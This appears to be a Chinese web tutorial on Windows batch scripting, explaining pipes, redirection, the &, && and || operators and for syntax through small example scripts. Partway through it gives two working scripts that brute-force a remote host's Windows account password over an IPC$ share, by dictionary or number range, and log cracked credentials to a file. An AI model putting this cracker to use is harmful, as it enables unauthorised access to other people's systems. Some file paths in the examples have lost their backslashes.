DOS/BAT

关注公众号 jb51net

关闭
首页 > 脚本专栏 > DOS/BAT >

又一篇不错的批处理bat学习教程

作者:

又一篇不错的批处理bat学习教程
批处理,也称为批处理脚本,批处理文件后缀BAT就取的前三个字母。
它的构成没有固定格式,只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。
要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。 
例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似): 
复制代码 代码如下:

@echo off 
ping sz.tencent.com > a.txt  
ping sz1.tencent.com >> a.txt  
ping sz2.tencent.com >> a.txt  
ping sz3.tencent.com >> a.txt  
ping sz4.tencent.com >> a.txt  
ping sz5.tencent.com >> a.txt  
ping sz6.tencent.com >> a.txt  
ping sz7.tencent.com >> a.txt  
echo 按任意键退出... 
pause >nul 


是不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>>的意思,是把前面命令得到的东西放到后面所给的地方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。


例二、再给出一个已经过时的例子(a.bat): 

复制代码 代码如下:

@echo off  
if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif  
echo 按任意键退出... 
pause >nul  

为什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了,所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。

例三,使用批处理脚本查是否中冰河。脚本内容如下: 

复制代码 代码如下:

@echo off  
netstat -a -n > a.txt  
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"  
del a.txt  
pause & exit  
这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。当然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命令|,后面将详细介绍。 

例四,借批处理自动清除系统垃圾,脚本如下: 

复制代码 代码如下:

@echo off  
if exist c:windowstemp*.* del c:windowstemp*.*  
if exist c:windowsTempor~1*.* del c:windowsTempor~1*.*  
if exist c:windowsHistory*.* del c:windowsHistory*.*  
if exist c:windowsrecent*.* del c:windowsrecent*.*  
echo " 清理完毕!按任意键退出" 
pause & exit 

将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。

下面从管道命令讲起。常用的管道命令有以下这些:|、>、>> 

“ |” 这个命令恐怕大家不是很陌生,经常操作DOS的朋友都应该知道,当我们查看一个命令的帮助时,如果帮助信息比较长,一屏幕显示不完时DOS并不给我们时间让我们看完一屏幕再翻到另一屏幕,而是直接显示到帮助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了,如何解决这个问题?

看以下例子: 

help | more 

回车后会发现显示满一屏幕后就自动暂停,等候继续显示其他信息。当按写回车时,变成一个一个的出现;按下空格键时一屏幕一屏幕显示,直到全部显示完为止;按其他键自动停止返回DOS。 

为什么会出现上述现象?答案很简单,这里结合了管道命令“|”和DOS命令more来共同达到目的的。这里先简单介绍一下help命令和more命令,对理解“|”命令的用法有很大帮助。 

help命令:其实这个命令是不需要多说的,但在上述例子中help命令的用法比较特殊,直接在DOS提示符下输入help命令,结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入net help回车,则是显示net命令的帮助信息。 

more命令:可能很多朋友以前就没有接触过这个命令,这个命令在Linux下的用处非常广泛,也是管道命令之一。大家可以找一篇比较长的文章(a.txt)在DOS提示符下输入如下两个命令去比较一下差别:more a.txt和type a.txt。利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的部分。在上例里,more命令的作用就是让输出的信息逐屏或逐行显示。 
看到这里,你是否已经能隐约感受到了“|”命令的作用了?没错,它的作用,就是把前一命令的输出当后一命令的输入来用的。在本例中,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more的输入。所以和下面的例子是等效的: 

help > a.txt 
more a.txt 
del a.txt 

这里利用另一管道命令>生成了一个a.txt文件作为中间环节,在用more命令查看a.txt文件后再删除a.txt文件(本例的所有操作是在内存中进行的,不生成文件)。可以看出,正确使用管道命令“|”可以带来事半功倍的效果。

综上:“|”命令的作用,就是让前一命令的输出当做后一命令的输入。 

“>、>>” 

这两个命令的效果从本质上来说都是一样的,他们都是输出重定向命令,说的通俗一点,就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是,>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五: 
复制代码 代码如下:

echo @echo off > a.bat  
echo echo This is a pipeline command example. >> a.bat  
echo echo It is very easy? >> a.bat  
echo echo Believe your self! >> a.bat  
echo pause >> a.bat  
echo exit >> a.bat  


复制粘贴上面代码,将在当前目录下生成一个a.bat文件,里面的内容如下: 

复制代码 代码如下:

@echo off  
echo This is a pipeline command example.  
echo It is very easy?  
echo Believe your self!  
pause  
exit  


看到这里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的写入功能编辑一个文本,而不需要专门的文本编辑工具;2、管道命令>和>>的区别如上所述。如果这里只用>命令来完成上面操作,最后也会生成一个a.bat,但里面的内容就只剩下最后一行exit了。所以>和>>一般都联合起来用,除非你重定向的输出只有一行,那么就可以只用>了。结合例一再仔细体会输出重定向管道命令>和>>的用法。 

“<、>&、<&” 

这三个命令也是管道命令,但它们一般不常用,你只需要知道一下就ok了,当然如果想仔细研究的话,可以自己查一下资料。 

<,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。 
>&,将一个句柄的输出写入到另一个句柄的输入中。 
<&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。 

关于这三个管道命令的举例,在后面批处理脚本的精妙应用中还将涉及到。 


下面介绍组合命令:&、&&、|| 

组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。它的格式很简单----既然现在已经成了一个文件了,那么这多个命令就要用这些组合命令连接起来放在同一行----因为批处理认行不认命令数目。组合命令的作用,就如同给爱人陪不是,说一句是说,说十句也是说,不一次把好话都说了出来,效果可能会好些----当然得排除一种特殊情况:这些话是否有先后顺序,有些话是否可以同时说。在批处理脚本里也一样,有些时候某些命令是不能同时执行的,后面给你说。 

“&”: 

这可以说是最简单的一个组合命令了,它的作用是用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败。例十六:
copy a.txt b.txt /y & del a.txt 

其实这句和move a.txt b.txt的效果是一样的,只不过前者是分了两步来进行的(在后面还将涉及到具体使用哪种方法的问题)。这个命令很简单,就不多费口舌了,唯一需要注意的一点是,这里&两边的命令是有执行顺序的,从前往后执行。 


“&&”: 

切记,这里介绍的几个命令都是组合命令,所以他们前后都必须都有其他命令(要不如何组合?)。这个命令也不例外,它可以把它前后两个命令组合起来当一个命令来用,与&命令不同之处在于,它在从前往后依次执行被它连接的几个命令时会自动判断是否有某个命令执行出错,一旦发现出错后将不继续执行后面剩下的命令。这就为我们自动化完成一些任务提供了方便。例十七: 

dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:\backup\www 

如果远程主机存在user.mdb,则copy到本地e:\backup\www,如果不存在当然就不执行copy了。这句对搞网管的朋友是否有点用呢?呵呵。其实它和下面这句的作用是一样的: 

if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:\backup\www 

至于你喜欢用哪个就随便了,我没办法判断dir和if两个命令哪一个执行效率更高,所以不知道用哪个更好,呵呵。 

你是否还记得“有些命令是不能同时执行的”?你是否相信这句话?当然得相信,不信就给你出道题:把C盘和D盘的文件和文件夹列出到a.txt文件中。你将如何来搞定这道题?有朋友说,这还不是很easy的问题吗?同时执行两个dir,然后把得到的结果>到a.txt里就ok了嘛,看例十八: 

dir c:\ && dir d:\ > a.txt 

仔细研究一下这句执行后的结果,看看是否能达到题目的要求!错了!这样执行后a.txt里只有D盘的信息!为什么?就因为这里&&命令和>命令不能同时出现一个句子里(批处理把一行看成一个句子)!!组合命令&&的优先级没有管道命令>的优先级高(自己总结的,不妥的地方请指正)!所以这句在执行时将本分成这两部分:dir c:\和dir d:\ > a.txt,而并不是如你想的这两部分:dir c:\ && dir d:\和> a.txt。要使用组合命令&&达到题目的要求,必须得这么写: 

dir c:\ > a.txt && dir d:\ >> a.txt 

这样,依据优先级高低,DOS将把这句话分成以下两部分:dir c:\ > a.txt和dir d:\ >> a.txt。例十八中的几句的差别比较特殊,值得好好研究体会一下。 

当然这里还可以利用&命令(自己想一下道理哦): 

dir c:\ > a.txt & dir d:\ >> a.txt 

“||”: 

这个命令的用法和&&几乎一样,但作用刚好和它相反:利用这种方法在执行多条命令时,当遇到一个执行正确的命令就退出此命令组合,不再继续执行下面的命令。题目:查看当前目录下是否有以s开头的exe文件,如果有则退出。例十九: 

Copy code
@echo off 
dir s*.exe || exit 

其实这个例子是有破绽的,你看出来了吗?其实很简单,自己试试就知道了嘛:如果存在那个exe文件,就退出;如果不存在那个exe文件,也退出!为什么?因为如果不存在那个.exe文件,则前一条命令dir s*.exe执行肯定是不成功的,所以就继续执行exit,自然就退出了,呵呵。那么如何解决题目给出的问题呢?看例二十: 


Copy code
@echo off 
dir s*.exe || echo Didn't exist file s*.exe & pause & exit 

这样执行的结果,就能达到题目的要求,是否存在s*.exe将出现两种结果。这里加暂停的意思,当然是让你能看到echo输出的内容,否则一闪而过的窗口,echo就白写了。 

给出两个更好研究优先级(同时也是更难理解)的脚本,仔细研究它们的区别,以便彻底理解各种命令的优先级顺序,对以后自己利用这些命令写脚本有很大的好处----不会出错!OK,请看例二十一和例二十二。

例二十一: 

@echo off 
dir a.ttt /a & dir a.txt || exit 

例二十二: 

@echo off 
dir a.ttt /a && dir a.txt || exit

警告:患有心脑血管病的朋友请不要研究以上两例,否则轻者头大如斗,重者血管爆裂。任何人由于研究这两个脚本的区别而造成的任何事故由自己或其合法监护人负责,与本人和本论坛无关。特此警告! 

有关管道命令和组合命令就大概介绍到这里了,不知道聪明的你是否理解? 

这几个命令真的把我的头都搞大了。在网上有一篇流传很广的批处理教程:“简明批处理教程”,虽然说的比较全面,但看起来很不过瘾。在对for等命令介绍时就一个for /? > a.txt & start a.txt完事了(当然这一点上我不能说人家什么,毕竟我连for /?都没给出),而对上述管道命令和组合命令、以及这篇教程以后将讲到的用批处理操作注册表等方面根本没有介绍。我之所以花整整一章来讲管道命令和组合命令,是因为他们才是批处理的精华和灵魂,能否正确利用好这几个命令,是能否掌握批处理的前提条件。如for、set等DOS命令的问题,可以从DOS的角度出发专门有针对性的学习,但有关这几个命令的问题,却是不容易精通掌握的----他们之间的关系太复杂了! 
将下列代码存为bat文件 
1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名 
2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名 
密码破解出来之后,存放于c:\pass.txt文件里面。 
将下列代码存为pass.bat文件  


复制代码 代码如下:

@echo off  
echo ------------------------------------------------------------------- >>c:pass.txt  
echo ------------------------------------------------------------------- >>c:pass.txt  
date /t >>c:pass.txt  
time /t >>c:pass.txt  
echo 破解结果: >>c:pass.txt  
if "%6"=="1" goto 大棒槌是我的说2  
:大棒槌是我的说1  
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3  
goto quit  
:大棒槌是我的说2  
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5  
:quit  

将下列代码存为test.bat 

复制代码 代码如下:

net use \%1ipc$ %2 /user:"%3"  
goto answer%ERRORLEVEL%  
rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2  
:answer0  
echo 远程主机:"%1" >>c:pass.txt  
echo 用 户:"%3" >>c:pass.txt  
echo 密 码:%2 >>c:pass.txt  
net use \%1ipc$ /delet  
exit  
:answer2  


“For”: 
对一组文件中的每个文件运行指定的命令。 

可以在批处理程序中或直接从命令提示符使用 for 命令。 

要在批处理程序中使用 for 命令,请使用以下语法: 

for %%variable in (set) docommand [command-parameters] 

要在命令提示符下使用 for,请使用以下语法: 

for %variable in (set) do command [command-parameters] 

参数 

%%variable 或 %variable 

代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。 

(set) 

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。 

command 

指定要在指定的 set 所包含的每个文件上执行的命令。 

command-parameters 

指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。 

如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。 
For 命令的其他形式 
如果启用了命令扩展,将支持如下 for 命令的其他格式: 

只限于目录 

for /D [%% | %]variable in (set) docommand [command-parameters] 

如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。 

递归 

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters] 

进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。 

迭代 

for /L [%% | %]variable in (start,step,end) do command [command-parameters] 

集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。
您可能感兴趣的文章:
阅读全文